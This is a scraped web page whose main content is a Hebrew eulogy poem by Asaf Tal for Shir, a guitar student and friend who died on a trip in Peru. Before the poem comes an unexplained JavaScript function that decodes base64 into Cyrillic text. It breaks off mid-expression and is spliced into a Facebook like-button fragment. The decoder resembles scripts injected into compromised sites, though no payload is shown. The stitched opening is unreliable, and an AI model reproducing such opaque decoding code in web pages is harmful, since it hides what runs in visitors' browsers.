function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1=";var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandard" data-action="like" data-show-faces="true" data-share="true">
להפרד משיר\אסף טל
שיר הלכה לעולמה.
איזה מין ביטוי זה "הלכה לעולמה"…
אבל זה היה העולם שלה באמת, שהיא הלכה אליו-
טיול בפרו, נופים קסומים, אנשים נחמדים ודאי,
ריגושים, מחשבות אקזיסטנציאליסטיות…
באחד הפוסטים שלה בפייסבוק, היא כותבת,
"היום, לראשונה בחיי, ראיתי כבשה רצה.
זה היה הדבר הכי חמוד בעולם.
מעניין שעד שלא ראיתי כבשה רצה,
לא הייתי מודעת לזה שלא ראיתי כבשה רצה."
עכשיו, לך תנסה להכיר בן אדם כזה ולא להתאהב…
שירקי הייתה תלמידה שלי בגיטרה ומורה שלי לפילוסופיה.
היא הייתה ילדה מתוקה, כשהכרנו
וגדלה להיות נערה מתוקה ובחורה מתוקה, אבל לא עוד…
ילדה, נערה, בחורה וזהו…מהכינוי "אישה מתוקה"
היא כבר הצליחה להתחמק,
שלא לדבר על "גברת".
שיר הייתה, שיר הייתה!
אני לומד לדבר בלשון עבר.
נתתי לשלום את השיר שכתבתי לה "מעבר לעיקול הנהר",
הוא אהב מאוד,
אבל הציע לשנות בו דבר אחד,
את המקום שבוא אני מדבר על שיר בלשון עבר.
השם שלה מזמין משחקי מילים,
אז הנה אחד כזה:
איך אדם שכותב שירים,
שמתמודד עם כל דבר בחיים דרך שירים..
יכול לדבר על שיר בלשון עבר?
אבל צריך, כי שיר הלכה לעולמה.
עולם שהייתי רוצה להאמין שכולו טוב,
שכולו טבע ומוסיקה וצחוקים ודיונים פילוסופיים
וריגושים.
שיר הייתה ריגוש סוער.
אפשר לחיות חיים אפורים ואוטומטיים,
ארוכים כאורך הגלות,
לא באמת לחקור, לא באמת לרדת לעומקם של דברים,
לא להתנסות בדבר..
ואפשר לחיות כמו שיר.
שיר בחרה לחיות ברגעים שהזדמנו לה.
אם הרגע זימן נעורים, אז בהתנסות!
אם הרגע זימן צבא, אז בהצטיינות!
אם הרגע זימן מוסיקה, אז בתשוקה!
אם הרגע זימן חברים, אז בהתמסרות!
לפעמים נדמה לי שהיא אף פעם לא התאמנה בגיטרה,
היא פשוט ניגנה
והיא אף פעם לא התאמנה גם בלחיות,
היא פשוט חיה.
אבל זו לא האמת.
היו לה התלבטויות,
כמו שאפשר לצפות מהאדם העמוק שהיא.
היו לנו שיחות בהן היא שיתפה אותי
בחלק מהדילמות שלה בחיים,
זה לא היה פשוט, אבל זה היה חיים.
זה היה אמיתי, זו הייתה היא.
לרגע לא חיקוי של שום טרנד או אופנה…
אופי חזק מאוד היה לה!
וגם היופי שלה היה אמיתי. בלי איפור.
שירקי חייתה את חייה הקצרים והמלאים
בלי טיפת איפור, פיזית ומטפורית.
אני מצטער שירקי, שלא ראיתי את העתיד,
שלא טסתי לפרו, לנהר ההוא,
שלא הייתי שם ברגע ההוא להושיט לך משוט,
או צוואר של גיטרה להיאחז בו.
אני מצטער שלא היינו בקשר בשנתיים האחרונות.
אני מצטער שכבר לא נהיה בקשר.
פעם אמרנו
שיום אחד ניפגש ונדבר על התקופה הזו בלשון עבר
ואז את תסבירי לי כל מיני דברים,
על מה עבר עלייך
ועל מה חשבת עלי
ועל מה הרגשת
…אני אסביר לך כמה נכנסת לי ללב וכמה ריגשת.
אם הייתי אדם מאמין, אפילו קצת,
הייתי עוד מחכה ליום הזה.
אבל במקום זה,
אני לומד לדבר עלייך בלשון עבר.
אחת החברות שלך סיפרה לי, שיום אחד היא צלצלה אלייך
ואמרה לך שהיא שמעה ברדיו והבינה ש"אחרי הכל את שיר"
ואת אמרת לה ש"יופי באמת, אספטל עלה על זה לפני שנים!"
ככה היית קוראית לי אספטל.
לא אהבת כשלימדתי אותך את השיר הזה בגיטרה,
הרגשת שזה יותר מדי צפוי, אני קצת הכרחתי אותך.
מצטער גם על זה.
אחרי הכל, את ילדה, נערה, בחורה, מרגשת..שיר.